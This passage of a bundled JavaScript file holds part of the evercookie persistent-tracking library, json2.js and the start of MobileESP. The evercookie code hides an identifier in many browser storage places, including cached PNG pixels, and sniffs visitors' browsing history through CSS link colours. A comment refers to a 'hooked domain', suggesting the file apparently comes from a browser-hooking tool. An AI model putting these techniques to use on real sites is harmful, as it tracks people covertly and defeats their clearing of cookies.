604 swfobject.embedSWF("evercookie.swf", "swfcontainer", "1", "1", "9.0.0", false, flashvars, params, attributes);
605};
606
607this.evercookie_png = function(name, value)
608{
609 if (document.createElement('canvas').getContext)
610 {
611 if (typeof(value) != "undefined")
612 {
613 // make sure we have evercookie session defined first
614 document.cookie = 'evercookie_png=' + value;
615
616 // evercookie_png.php handles the hard part of generating the image
617 // based off of the http cookie and returning it cached
618 var img = new Image();
619 img.style.visibility = 'hidden';
620 img.style.position = 'absolute';
621 img.src = 'evercookie_png.php?name=' + name;
622 }
623 else
624 {
625 self._ec.pngData = undefined;
626 var context = document.createElement('canvas');
627 context.style.visibility = 'hidden';
628 context.style.position = 'absolute';
629 context.width = 200;
630 context.height = 1;
631 var ctx = context.getContext('2d');
632
633 // interestingly enough, we want to erase our evercookie
634 // http cookie so the php will force a cached response
635 var origvalue = this.getFromStr('evercookie_png', document.cookie);
636 document.cookie = 'evercookie_png=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/';
637
638 var img = new Image();
639 img.style.visibility = 'hidden';
640 img.style.position = 'absolute';
641 img.src = 'evercookie_png.php?name=' + name;
642
643 img.onload = function()
644 {
645 // put our cookie back
646 document.cookie = 'evercookie_png=' + origvalue + '; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/';
647
648 self._ec.pngData = '';
649 ctx.drawImage(img,0,0);
650
651 // get CanvasPixelArray from given coordinates and dimensions
652 var imgd = ctx.getImageData(0, 0, 200, 1);
653 var pix = imgd.data;
654
655 // loop over each pixel to get the "RGB" values (ignore alpha)
656 for (var i = 0, n = pix.length; i < n; i += 4)
657 {
658 if (pix[i ] == 0) break;
659 self._ec.pngData += String.fromCharCode(pix[i]);
660 if (pix[i+1] == 0) break;
661 self._ec.pngData += String.fromCharCode(pix[i+1]);
662 if (pix[i+2] == 0) break;
663 self._ec.pngData += String.fromCharCode(pix[i+2]);
664 }
665 }
666 }
667 }
668};
669
670this.evercookie_local_storage = function(name, value)
671{
672 try
673 {
674 if (window.localStorage)
675 {
676 if (typeof(value) != "undefined")
677 localStorage.setItem(name, value);
678 else
679 return localStorage.getItem(name);
680 }
681 }
682 catch (e) { }
683};
684
685this.evercookie_database_storage = function(name, value)
686{
687 try
688 {
689 if (window.openDatabase)
690 {
691 var database = window.openDatabase("sqlite_evercookie", "", "evercookie", 1024 * 1024);
692
693 if (typeof(value) != "undefined")
694 database.transaction(function(tx)
695 {
696 tx.executeSql("CREATE TABLE IF NOT EXISTS cache(" +
697 "id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, " +
698 "name TEXT NOT NULL, " +
699 "value TEXT NOT NULL, " +
700 "UNIQUE (name)" +
701 ")", [], function (tx, rs) { }, function (tx, err) { });
702
703 tx.executeSql("INSERT OR REPLACE INTO cache(name, value) VALUES(?, ?)", [name, value],
704 function (tx, rs) { }, function (tx, err) { })
705 });
706 else
707 {
708 database.transaction(function(tx)
709 {
710 tx.executeSql("SELECT value FROM cache WHERE name=?", [name],
711 function(tx, result1) {
712 if (result1.rows.length >= 1)
713 self._ec.dbData = result1.rows.item(0)['value'];
714 else
715 self._ec.dbData = '';
716 }, function (tx, err) { })
717 });
718 }
719 }
720 } catch(e) { }
721};
722
723this.evercookie_session_storage = function(name, value)
724{
725 try
726 {
727 if (window.sessionStorage)
728 {
729 if (typeof(value) != "undefined")
730 sessionStorage.setItem(name, value);
731 else
732 return sessionStorage.getItem(name);
733 }
734 } catch(e) { }
735};
736
737this.evercookie_global_storage = function(name, value)
738{
739 if (window.globalStorage)
740 {
741 var host = this.getHost();
742
743 try
744 {
745 if (typeof(value) != "undefined")
746 eval("globalStorage[host]." + name + " = value");
747 else
748 return eval("globalStorage[host]." + name);
749 } catch(e) { }
750 }
751};
752this.evercookie_silverlight = function(name, value) {
753 /*
754 * Create silverlight embed
755 *
756 * Ok. so, I tried doing this the proper dom way, but IE chokes on appending anything in object tags (including params), so this
757 * is the best method I found. Someone really needs to find a less hack-ish way. I hate the look of this shit.
758 */
759 var source = "evercookie.xap";
760 var minver = "4.0.50401.0";
761
762 var initParam = "";
763 if(typeof(value) != "undefined")
764 initParam = '<param name="initParams" value="'+name+'='+value+'" />';
765
766 var html =
767 '<object data="data:application/x-silverlight-2," type="application/x-silverlight-2" id="mysilverlight" width="0" height="0">' +
768 initParam +
769 '<param name="source" value="'+source+'"/>' +
770 '<param name="onLoad" value="onSilverlightLoad"/>' +
771 '<param name="onError" value="onSilverlightError"/>' +
772 '<param name="background" value="Transparent"/>' +
773 '<param name="windowless" value="true"/>' +
774 '<param name="minRuntimeVersion" value="'+minver+'"/>' +
775 '<param name="autoUpgrade" value="true"/>' +
776 '<a href="http://go.microsoft.com/fwlink/?LinkID=149156&v='+minver+'" style="text-decoration:none">' +
777 '<img src="http://go.microsoft.com/fwlink/?LinkId=108181" alt="Get Microsoft Silverlight" style="border-style:none"/>' +
778 '</a>' +
779 '</object>';
780 document.body.innerHTML+=html;
781};
782
783// public method for encoding
784this.encode = function (input) {
785 var output = "";
786 var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
787 var i = 0;
788
789 input = this._utf8_encode(input);
790
791 while (i < input.length) {
792
793 chr1 = input.charCodeAt(i++);
794 chr2 = input.charCodeAt(i++);
795 chr3 = input.charCodeAt(i++);
796
797 enc1 = chr1 >> 2;
798 enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
799 enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
800 enc4 = chr3 & 63;
801
802 if (isNaN(chr2)) {
803 enc3 = enc4 = 64;
804 } else if (isNaN(chr3)) {
805 enc4 = 64;
806 }
807
808 output = output +
809 _baseKeyStr.charAt(enc1) + _baseKeyStr.charAt(enc2) +
810 _baseKeyStr.charAt(enc3) + _baseKeyStr.charAt(enc4);
811
812 }
813
814 return output;
815};
816
817// public method for decoding
818this.decode = function (input) {
819 var output = "";
820 var chr1, chr2, chr3;
821 var enc1, enc2, enc3, enc4;
822 var i = 0;
823
824 input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
825
826 while (i < input.length) {
827 enc1 = _baseKeyStr.indexOf(input.charAt(i++));
828 enc2 = _baseKeyStr.indexOf(input.charAt(i++));
829 enc3 = _baseKeyStr.indexOf(input.charAt(i++));
830 enc4 = _baseKeyStr.indexOf(input.charAt(i++));
831
832 chr1 = (enc1 << 2) | (enc2 >> 4);
833 chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
834 chr3 = ((enc3 & 3) << 6) | enc4;
835
836 output = output + String.fromCharCode(chr1);
837
838 if (enc3 != 64) {
839 output = output + String.fromCharCode(chr2);
840 }
841 if (enc4 != 64) {
842 output = output + String.fromCharCode(chr3);
843 }
844
845 }
846
847 output = this._utf8_decode(output);
848
849 return output;
850
851};
852
853// private method for UTF-8 encoding
854this._utf8_encode = function (string) {
855 string = string.replace(/\r\n/g,"\n");
856 var utftext = "";
857
858 for (var n = 0; n < string.length; n++) {
859
860 var c = string.charCodeAt(n);
861
862 if (c < 128) {
863 utftext += String.fromCharCode(c);
864 }
865 else if((c > 127) && (c < 2048)) {
866 utftext += String.fromCharCode((c >> 6) | 192);
867 utftext += String.fromCharCode((c & 63) | 128);
868 }
869 else {
870 utftext += String.fromCharCode((c >> 12) | 224);
871 utftext += String.fromCharCode(((c >> 6) & 63) | 128);
872 utftext += String.fromCharCode((c & 63) | 128);
873 }
874
875 }
876
877 return utftext;
878};
879
880// private method for UTF-8 decoding
881this._utf8_decode = function (utftext) {
882 var string = "";
883 var i = 0;
884 var c = c1 = c2 = 0;
885
886 while ( i < utftext.length ) {
887
888 c = utftext.charCodeAt(i);
889
890 if (c < 128) {
891 string += String.fromCharCode(c);
892 i++;
893 }
894 else if((c > 191) && (c < 224)) {
895 c2 = utftext.charCodeAt(i+1);
896 string += String.fromCharCode(((c & 31) << 6) | (c2 & 63));
897 i += 2;
898 }
899 else {
900 c2 = utftext.charCodeAt(i+1);
901 c3 = utftext.charCodeAt(i+2);
902 string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63));
903 i += 3;
904 }
905
906 }
907
908 return string;
909};
910
911// this is crazy but it's 4am in dublin and i thought this would be hilarious
912// blame the guinness
913this.evercookie_history = function(name, value)
914{
915 // - is special
916 var baseStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=-";
917 var baseElems = baseStr.split("");
918
919 // sorry google.
920 var url = 'http://www.google.com/evercookie/cache/' + this.getHost() + '/' + name;
921
922 if (typeof(value) != "undefined")
923 {
924 // don't reset this if we already have it set once
925 // too much data and you can't clear previous values
926 if (this.hasVisited(url))
927 return;
928
929 this.createIframe(url, 'if');
930 url = url + '/';
931
932 var base = this.encode(value).split("");
933 for (var i = 0; i < base.length; i++)
934 {
935 url = url + base[i];
936 this.createIframe(url, 'if' + i);
937 }
938
939 // - signifies the end of our data
940 url = url + '-';
941 this.createIframe(url, 'if_');
942 }
943 else
944 {
945 // omg you got csspwn3d
946 if (this.hasVisited(url))
947 {
948 url = url + '/';
949
950 var letter = "";
951 var val = "";
952 var found = 1;
953 while (letter != '-' && found == 1)
954 {
955 found = 0;
956 for (var i = 0; i < baseElems.length; i++)
957 {
958 if (this.hasVisited(url + baseElems[i]))
959 {
960 letter = baseElems[i];
961 if (letter != '-')
962 val = val + letter;
963 url = url + letter;
964 found = 1;
965 break;
966 }
967 }
968 }
969
970 // lolz
971 return this.decode(val);
972 }
973 }
974};
975
976this.createElem = function(type, name, append)
977{
978 var el;
979 if (typeof name != 'undefined' && document.getElementById(name))
980 el = document.getElementById(name);
981 else
982 el = document.createElement(type);
983 el.style.visibility = 'hidden';
984 el.style.position = 'absolute';
985
986 if (name)
987 el.setAttribute('id', name);
988
989 if (append)
990 document.body.appendChild(el);
991
992 return el;
993};
994
995this.createIframe = function(url, name)
996{
997 var el = this.createElem('iframe', name, 1);
998 el.setAttribute('src', url);
999 return el;
1000};
1001
1002// wait for our swfobject to appear (swfobject.js to load)
1003this.waitForSwf = function(i)
1004{
1005 if (typeof i == 'undefined')
1006 i = 0;
1007 else
1008 i++;
1009
1010 // wait for ~2 seconds for swfobject to appear
1011 if (i < _ec_tests && typeof swfobject == 'undefined')
1012 setTimeout(function() { waitForSwf(i) }, 300);
1013};
1014
1015this.evercookie_cookie = function(name, value)
1016{
1017 try{
1018 if (typeof(value) != "undefined")
1019 {
1020 // expire the cookie first
1021 document.cookie = name + '=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/';
1022 document.cookie = name + '=' + value + '; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/';
1023 }
1024 else
1025 return this.getFromStr(name, document.cookie);
1026 }catch(e){
1027 // the hooked domain is using HttpOnly, so we must set the hook ID in a different way.
1028 // evercookie_userdata and evercookie_window will be used in this case.
1029 }
1030};
1031
1032// get value from param-like string (eg, "x=y&name=VALUE")
1033this.getFromStr = function(name, text)
1034{
1035 if (typeof text != 'string')
1036 return;
1037
1038 var nameEQ = name + "=";
1039 var ca = text.split(/[;&]/);
1040 for (var i = 0; i < ca.length; i++)
1041 {
1042 var c = ca[i];
1043 while (c.charAt(0) == ' ')
1044 c = c.substring(1, c.length);
1045 if (c.indexOf(nameEQ) == 0)
1046 return c.substring(nameEQ.length, c.length);
1047 }
1048};
1049
1050this.getHost = function()
1051{
1052 var domain = document.location.host;
1053 if (domain.indexOf('www.') == 0)
1054 domain = domain.replace('www.', '');
1055 return domain;
1056};
1057
1058this.toHex = function(str)
1059{
1060 var r = "";
1061 var e = str.length;
1062 var c = 0;
1063 var h;
1064 while (c < e)
1065 {
1066 h = str.charCodeAt(c++).toString(16);
1067 while (h.length < 2)
1068 h = "0" + h;
1069 r += h;
1070 }
1071 return r;
1072};
1073
1074this.fromHex = function(str)
1075{
1076 var r = "";
1077 var e = str.length;
1078 var s;
1079 while (e >= 0)
1080 {
1081 s = e - 2;
1082 r = String.fromCharCode("0x" + str.substring(s, e)) + r;
1083 e = s;
1084 }
1085 return r;
1086};
1087
1088/*
1089 * css history knocker (determine what sites your visitors have been to)
1090 *
1091 * originally by Jeremiah Grossman
1092 * http://jeremiahgrossman.blogspot.com/2006/08/i-know-where-youve-been.html
1093 *
1094 * ported to additional browsers by Samy Kamkar
1095 *
1096 * compatible with ie6, ie7, ie8, ff1.5, ff2, ff3, opera, safari, chrome, flock
1097 *
1098 * - code@samy.pl
1099 */
1100
1101
1102this.hasVisited = function(url)
1103{
1104 if (this.no_color == -1)
1105 {
1106 var no_style = this._getRGB("http://samy-was-here-this-should-never-be-visited.com", -1);
1107 if (no_style == -1)
1108 this.no_color =
1109 this._getRGB("http://samy-was-here-"+Math.floor(Math.random()*9999999)+"rand.com");
1110 }
1111
1112 // did we give full url?
1113 if (url.indexOf('https:') == 0 || url.indexOf('http:') == 0)
1114 return this._testURL(url, this.no_color);
1115
1116 // if not, just test a few diff types if (exact)
1117 return this._testURL("http://" + url, this.no_color) ||
1118 this._testURL("https://" + url, this.no_color) ||
1119 this._testURL("http://www." + url, this.no_color) ||
1120 this._testURL("https://www." + url, this.no_color);
1121};
1122
1123/* create our anchor tag */
1124var _link = this.createElem('a', '_ec_rgb_link');
1125
1126/* for monitoring */
1127var created_style;
1128
1129/* create a custom style tag for the specific link. Set the CSS visited selector to a known value */
1130var _cssText = '#_ec_rgb_link:visited{display:none;color:#FF0000}';
1131
1132/* Methods for IE6, IE7, FF, Opera, and Safari */
1133try {
1134 created_style = 1;
1135 var style = document.createElement('style');
1136 if (style.styleSheet)
1137 style.styleSheet.innerHTML = _cssText;
1138 else if (style.innerHTML)
1139 style.innerHTML = _cssText;
1140 else
1141 {
1142 var cssT = document.createTextNode(_cssText);
1143 style.appendChild(cssT);
1144 }
1145} catch (e) {
1146 created_style = 0;
1147}
1148
1149/* if test_color, return -1 if we can't set a style */
1150this._getRGB = function (u, test_color) {
1151 if (test_color && created_style == 0)
1152 return -1;
1153
1154 /* create the new anchor tag with the appropriate URL information */
1155 _link.href = u;
1156 _link.innerHTML = u;
1157 // not sure why, but the next two appendChilds always have to happen vs just once
1158 document.body.appendChild(style);
1159 document.body.appendChild(_link);
1160
1161 /* add the link to the DOM and save the visible computed color */
1162 var color;
1163 if (document.defaultView)
1164 color = document.defaultView.getComputedStyle(_link, null).getPropertyValue('color');
1165 else
1166 color = _link.currentStyle['color'];
1167
1168 return color;
1169};
1170
1171this._testURL = function(url, no_color){
1172 var color = this._getRGB(url);
1173
1174 /* check to see if the link has been visited if the computed color is red */
1175 if (color == "rgb(255, 0, 0)" || color == "#ff0000")
1176 return 1;
1177
1178 /* if our style trick didn't work, just compare default style colors */
1179 else if (no_color && color != no_color)
1180 return 1;
1181
1182 /* not found */
1183 return 0;
1184}
1185
1186};
1187
1188return _class;
1189})();
1190
1191
1192/*
1193 * Again, ugly workaround....same problem as flash.
1194*/
1195var _global_isolated;
1196function onSilverlightLoad(sender, args) {
1197 var control = sender.getHost();
1198 _global_isolated = control.Content.App.getIsolatedStorage();
1199}
1200/*
1201function onSilverlightError(sender, args) {
1202 _global_isolated = "";
1203
1204}*/
1205function onSilverlightError(sender, args) {
1206 _global_isolated = "";
1207}
1208
1209
1210// json2.js
1211// 2016-10-28
1212// Public Domain.
1213// NO WARRANTY EXPRESSED OR IMPLIED. USE AT YOUR OWN RISK.
1214// See http://www.JSON.org/js.html
1215// This code should be minified before deployment.
1216// See http://javascript.crockford.com/jsmin.html
1217
1218// USE YOUR OWN COPY. IT IS EXTREMELY UNWISE TO LOAD CODE FROM SERVERS YOU DO
1219// NOT CONTROL.
1220
1221// This file creates a global JSON object containing two methods: stringify
1222// and parse. This file provides the ES5 JSON capability to ES3 systems.
1223// If a project might run on IE8 or earlier, then this file should be included.
1224// This file does nothing on ES5 systems.
1225
1226// Create a JSON object only if one does not already exist. We create the
1227// methods in a closure to avoid creating global variables.
1228
1229if (typeof JSON !== "object") {
1230 JSON = {};
1231}
1232
1233(function () {
1234 "use strict";
1235
1236 var rx_one = /^[\],:{}\s]*$/;
1237 var rx_two = /\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g;
1238 var rx_three = /"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g;
1239 var rx_four = /(?:^|:|,)(?:\s*\[)+/g;
1240 var rx_escapable = /[\\"\u0000-\u001f\u007f-\u009f\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g;
1241 var rx_dangerous = /[\u0000\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g;
1242
1243 function f(n) {
1244 // Format integers to have at least two digits.
1245 return n < 10
1246 ? "0" + n
1247 : n;
1248 }
1249
1250 function this_value() {
1251 return this.valueOf();
1252 }
1253
1254 if (typeof Date.prototype.toJSON !== "function") {
1255
1256 Date.prototype.toJSON = function () {
1257
1258 return isFinite(this.valueOf())
1259 ? this.getUTCFullYear() + "-" +
1260 f(this.getUTCMonth() + 1) + "-" +
1261 f(this.getUTCDate()) + "T" +
1262 f(this.getUTCHours()) + ":" +
1263 f(this.getUTCMinutes()) + ":" +
1264 f(this.getUTCSeconds()) + "Z"
1265 : null;
1266 };
1267
1268 Boolean.prototype.toJSON = this_value;
1269 Number.prototype.toJSON = this_value;
1270 String.prototype.toJSON = this_value;
1271 }
1272
1273 var gap;
1274 var indent;
1275 var meta;
1276 var rep;
1277
1278
1279 function quote(string) {
1280
1281// If the string contains no control characters, no quote characters, and no
1282// backslash characters, then we can safely slap some quotes around it.
1283// Otherwise we must also replace the offending characters with safe escape
1284// sequences.
1285
1286 rx_escapable.lastIndex = 0;
1287 return rx_escapable.test(string)
1288 ? "\"" + string.replace(rx_escapable, function (a) {
1289 var c = meta[a];
1290 return typeof c === "string"
1291 ? c
1292 : "\\u" + ("0000" + a.charCodeAt(0).toString(16)).slice(-4);
1293 }) + "\""
1294 : "\"" + string + "\"";
1295 }
1296
1297
1298 function str(key, holder) {
1299
1300// Produce a string from holder[key].
1301
1302 var i; // The loop counter.
1303 var k; // The member key.
1304 var v; // The member value.
1305 var length;
1306 var mind = gap;
1307 var partial;
1308 var value = holder[key];
1309
1310// If the value has a toJSON method, call it to obtain a replacement value.
1311
1312 if (value && typeof value === "object" &&
1313 typeof value.toJSON === "function") {
1314 value = value.toJSON(key);
1315 }
1316
1317// If we were called with a replacer function, then call the replacer to
1318// obtain a replacement value.
1319
1320 if (typeof rep === "function") {
1321 value = rep.call(holder, key, value);
1322 }
1323
1324// What happens next depends on the value's type.
1325
1326 switch (typeof value) {
1327 case "string":
1328 return quote(value);
1329
1330 case "number":
1331
1332// JSON numbers must be finite. Encode non-finite numbers as null.
1333
1334 return isFinite(value)
1335 ? String(value)
1336 : "null";
1337
1338 case "boolean":
1339 case "null":
1340
1341// If the value is a boolean or null, convert it to a string. Note:
1342// typeof null does not produce "null". The case is included here in
1343// the remote chance that this gets fixed someday.
1344
1345 return String(value);
1346
1347// If the type is "object", we might be dealing with an object or an array or
1348// null.
1349
1350 case "object":
1351
1352// Due to a specification blunder in ECMAScript, typeof null is "object",
1353// so watch out for that case.
1354
1355 if (!value) {
1356 return "null";
1357 }
1358
1359// Make an array to hold the partial results of stringifying this object value.
1360
1361 gap += indent;
1362 partial = [];
1363
1364// Is the value an array?
1365
1366 if (Object.prototype.toString.apply(value) === "[object Array]") {
1367
1368// The value is an array. Stringify every element. Use null as a placeholder
1369// for non-JSON values.
1370
1371 length = value.length;
1372 for (i = 0; i < length; i += 1) {
1373 partial[i] = str(i, value) || "null";
1374 }
1375
1376// Join all of the elements together, separated with commas, and wrap them in
1377// brackets.
1378
1379 v = partial.length === 0
1380 ? "[]"
1381 : gap
1382 ? "[\n" + gap + partial.join(",\n" + gap) + "\n" + mind + "]"
1383 : "[" + partial.join(",") + "]";
1384 gap = mind;
1385 return v;
1386 }
1387
1388// If the replacer is an array, use it to select the members to be stringified.
1389
1390 if (rep && typeof rep === "object") {
1391 length = rep.length;
1392 for (i = 0; i < length; i += 1) {
1393 if (typeof rep[i] === "string") {
1394 k = rep[i];
1395 v = str(k, value);
1396 if (v) {
1397 partial.push(quote(k) + (
1398 gap
1399 ? ": "
1400 : ":"
1401 ) + v);
1402 }
1403 }
1404 }
1405 } else {
1406
1407// Otherwise, iterate through all of the keys in the object.
1408
1409 for (k in value) {
1410 if (Object.prototype.hasOwnProperty.call(value, k)) {
1411 v = str(k, value);
1412 if (v) {
1413 partial.push(quote(k) + (
1414 gap
1415 ? ": "
1416 : ":"
1417 ) + v);
1418 }
1419 }
1420 }
1421 }
1422
1423// Join all of the member texts together, separated with commas,
1424// and wrap them in braces.
1425
1426 v = partial.length === 0
1427 ? "{}"
1428 : gap
1429 ? "{\n" + gap + partial.join(",\n" + gap) + "\n" + mind + "}"
1430 : "{" + partial.join(",") + "}";
1431 gap = mind;
1432 return v;
1433 }
1434 }
1435
1436// If the JSON object does not yet have a stringify method, give it one.
1437
1438 if (typeof JSON.stringify !== "function") {
1439 meta = { // table of character substitutions
1440 "\b": "\\b",
1441 "\t": "\\t",
1442 "\n": "\\n",
1443 "\f": "\\f",
1444 "\r": "\\r",
1445 "\"": "\\\"",
1446 "\\": "\\\\"
1447 };
1448 JSON.stringify = function (value, replacer, space) {
1449
1450// The stringify method takes a value and an optional replacer, and an optional
1451// space parameter, and returns a JSON text. The replacer can be a function
1452// that can replace values, or an array of strings that will select the keys.
1453// A default replacer method can be provided. Use of the space parameter can
1454// produce text that is more easily readable.
1455
1456 var i;
1457 gap = "";
1458 indent = "";
1459
1460// If the space parameter is a number, make an indent string containing that
1461// many spaces.
1462
1463 if (typeof space === "number") {
1464 for (i = 0; i < space; i += 1) {
1465 indent += " ";
1466 }
1467
1468// If the space parameter is a string, it will be used as the indent string.
1469
1470 } else if (typeof space === "string") {
1471 indent = space;
1472 }
1473
1474// If there is a replacer, it must be a function or an array.
1475// Otherwise, throw an error.
1476
1477 rep = replacer;
1478 if (replacer && typeof replacer !== "function" &&
1479 (typeof replacer !== "object" ||
1480 typeof replacer.length !== "number")) {
1481 throw new Error("JSON.stringify");
1482 }
1483
1484// Make a fake root object containing our value under the key of "".
1485// Return the result of stringifying the value.
1486
1487 return str("", {"": value});
1488 };
1489 }
1490
1491
1492// If the JSON object does not yet have a parse method, give it one.
1493
1494 if (typeof JSON.parse !== "function") {
1495 JSON.parse = function (text, reviver) {
1496
1497// The parse method takes a text and an optional reviver function, and returns
1498// a JavaScript value if the text is a valid JSON text.
1499
1500 var j;
1501
1502 function walk(holder, key) {
1503
1504// The walk method is used to recursively walk the resulting structure so
1505// that modifications can be made.
1506
1507 var k;
1508 var v;
1509 var value = holder[key];
1510 if (value && typeof value === "object") {
1511 for (k in value) {
1512 if (Object.prototype.hasOwnProperty.call(value, k)) {
1513 v = walk(value, k);
1514 if (v !== undefined) {
1515 value[k] = v;
1516 } else {
1517 delete value[k];
1518 }
1519 }
1520 }
1521 }
1522 return reviver.call(holder, key, value);
1523 }
1524
1525
1526// Parsing happens in four stages. In the first stage, we replace certain
1527// Unicode characters with escape sequences. JavaScript handles many characters
1528// incorrectly, either silently deleting them, or treating them as line endings.
1529
1530 text = String(text);
1531 rx_dangerous.lastIndex = 0;
1532 if (rx_dangerous.test(text)) {
1533 text = text.replace(rx_dangerous, function (a) {
1534 return "\\u" +
1535 ("0000" + a.charCodeAt(0).toString(16)).slice(-4);
1536 });
1537 }
1538
1539// In the second stage, we run the text against regular expressions that look
1540// for non-JSON patterns. We are especially concerned with "()" and "new"
1541// because they can cause invocation, and "=" because it can cause mutation.
1542// But just to be safe, we want to reject all unexpected forms.
1543
1544// We split the second stage into 4 regexp operations in order to work around
1545// crippling inefficiencies in IE's and Safari's regexp engines. First we
1546// replace the JSON backslash pairs with "@" (a non-JSON character). Second, we
1547// replace all simple value tokens with "]" characters. Third, we delete all
1548// open brackets that follow a colon or comma or that begin the text. Finally,
1549// we look to see that the remaining characters are only whitespace or "]" or
1550// "," or ":" or "{" or "}". If that is so, then the text is safe for eval.
1551
1552 if (
1553 rx_one.test(
1554 text
1555 .replace(rx_two, "@")
1556 .replace(rx_three, "]")
1557 .replace(rx_four, "")
1558 )
1559 ) {
1560
1561// In the third stage we use the eval function to compile the text into a
1562// JavaScript structure. The "{" operator is subject to a syntactic ambiguity
1563// in JavaScript: it can begin a block or an object literal. We wrap the text
1564// in parens to eliminate the ambiguity.
1565
1566 j = eval("(" + text + ")");
1567
1568// In the optional fourth stage, we recursively walk the new structure, passing
1569// each name/value pair to a reviver function for possible transformation.
1570
1571 return (typeof reviver === "function")
1572 ? walk({"": j}, "")
1573 : j;
1574 }
1575
1576// If the text is not JSON parseable, then a SyntaxError is thrown.
1577
1578 throw new SyntaxError("JSON.parse");
1579 };
1580 }
1581}());
1582
1583
1584/* *******************************************
1585// Copyright 2010-2015, Anthony Hand
1586//
1587// BETA NOTICE
1588// Previous versions of the JavaScript code for MobileESP were 'regular'
1589// JavaScript. The strength of it was that it was really easy to code and use.
1590// Unfortunately, regular JavaScript means that all variables and functions
1591// are in the global namespace. There can be collisions with other code libraries
1592// which may have similar variable or function names. Collisions cause bugs as each
1593// library changes a variable's definition or functionality unexpectedly.
1594// As a result, we thought it wise to switch to an "object oriented" style of code.
1595// This 'literal notation' technique keeps all MobileESP variables and functions fully self-contained.
1596// It avoids potential for collisions with other JavaScript libraries.
1597// This technique allows the developer continued access to any desired function or property.
1598//
1599// Please send feedback to project founder Anthony Hand: anthony.hand@gmail.com
1600//
1601//
1602// File version 2015.05.13 (May 13, 2015)
1603// Updates:
1604// - Moved MobileESP to GitHub. https://github.com/ahand/mobileesp
1605// - Opera Mobile/Mini browser has the same UA string on multiple platforms and doesn't differentiate phone vs. tablet.
1606// - Removed DetectOperaAndroidPhone(). This method is no longer reliable.
1607// - Removed DetectOperaAndroidTablet(). This method is no longer reliable.
1608// - Added support for Windows Phone 10: variable and DetectWindowsPhone10()
1609// - Updated DetectWindowsPhone() to include WP10.
1610// - Added support for Firefox OS.
1611// - A variable plus DetectFirefoxOS(), DetectFirefoxOSPhone(), DetectFirefoxOSTablet()
1612// - NOTE: Firefox doesn't add UA tokens to definitively identify Firefox OS vs. their browsers on other mobile platforms.
1613// - Added support for Sailfish OS. Not enough info to add a tablet detection method at this time.
1614// - A variable plus DetectSailfish(), DetectSailfishPhone()
1615// - Added support for Ubuntu Mobile OS.
1616// - DetectUbuntu(), DetectUbuntuPhone(), DetectUbuntuTablet()
1617// - Added support for 2 smart TV OSes. They lack browsers but do have WebViews for use by HTML apps.
1618// - One variable for Samsung Tizen TVs, plus DetectTizenTV()
1619// - One variable for LG WebOS TVs, plus DetectWebOSTV()
1620// - Updated DetectTizen(). Now tests for “mobile†to disambiguate from Samsung Smart TVs
1621// - Removed variables for obsolete devices: deviceHtcFlyer, deviceXoom.
1622// - Updated DetectAndroid(). No longer has a special test case for the HTC Flyer tablet.
1623// - Updated DetectAndroidPhone().
1624// - Updated internal detection code for Android.
1625// - No longer has a special test case for the HTC Flyer tablet.
1626// - Checks against DetectOperaMobile() on Android and reports here if relevant.
1627// - Updated DetectAndroidTablet().
1628// - No longer has a special test case for the HTC Flyer tablet.
1629// - Checks against DetectOperaMobile() on Android to exclude it from here.
1630// - DetectMeego(): Changed definition for this method. Now detects any Meego OS device, not just phones.
1631// - DetectMeegoPhone(): NEW. For Meego phones. Ought to detect Opera browsers on Meego, as well.
1632// - DetectTierIphone(): Added support for phones running Sailfish, Ubuntu and Firefox Mobile.
1633// - DetectTierTablet(): Added support for tablets running Ubuntu and Firefox Mobile.
1634// - DetectSmartphone(): Added support for Meego phones.
1635// - Reorganized DetectMobileQuick(). Moved the following to DetectMobileLong():
1636// - DetectDangerHiptop(), DetectMaemoTablet(), DetectSonyMylo(), DetectArchos()
1637//
1638//
1639//
1640// LICENSE INFORMATION
1641// Licensed under the Apache License, Version 2.0 (the "License");
1642// you may not use this file except in compliance with the License.
1643// You may obtain a copy of the License at
1644// http://www.apache.org/licenses/LICENSE-2.0
1645// Unless required by applicable law or agreed to in writing,
1646// software distributed under the License is distributed on an
1647// "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND,
1648// either express or implied. See the License for the specific
1649// language governing permissions and limitations under the License.
1650//
1651//
1652// ABOUT THIS PROJECT
1653// Project Owner: Anthony Hand
1654// Email: anthony.hand@gmail.com
1655// Web Site: http://www.mobileesp.com
1656// Source Files: https://github.com/ahand/mobileesp
1657//
1658// Versions of this code are available for:
1659// PHP, JavaScript, Java, ASP.NET (C#), Ruby and others
1660//
1661//
1662// WARNING:
1663// These JavaScript-based device detection features may ONLY work
1664// for the newest generation of smartphones, such as the iPhone,
1665// Android and Palm WebOS devices.
1666// These device detection features may NOT work for older smartphones
1667// which had poor support for JavaScript, including
1668// older BlackBerry, PalmOS, and Windows Mobile devices.
1669// Additionally, because JavaScript support is extremely poor among
1670// 'feature phones', these features may not work at all on such devices.
1671// For better results, consider using a server-based version of this code,
1672// such as Java, APS.NET, PHP, or Ruby.
1673//
1674// *******************************************
1675*/
1676
1677
1678var MobileEsp = {
1679
1680 //GLOBALLY USEFUL VARIABLES
1681 //Note: These values are set automatically during the Init function.
1682 //Stores whether we're currently initializing the most popular functions.
1683 initCompleted : false,
1684 isWebkit : false, //Stores the result of DetectWebkit()
1685 isMobilePhone : false, //Stores the result of DetectMobileQuick()
1686 isIphone : false, //Stores the result of DetectIphone()
1687 isAndroid : false, //Stores the result of DetectAndroid()
1688 isAndroidPhone : false, //Stores the result of DetectAndroidPhone()
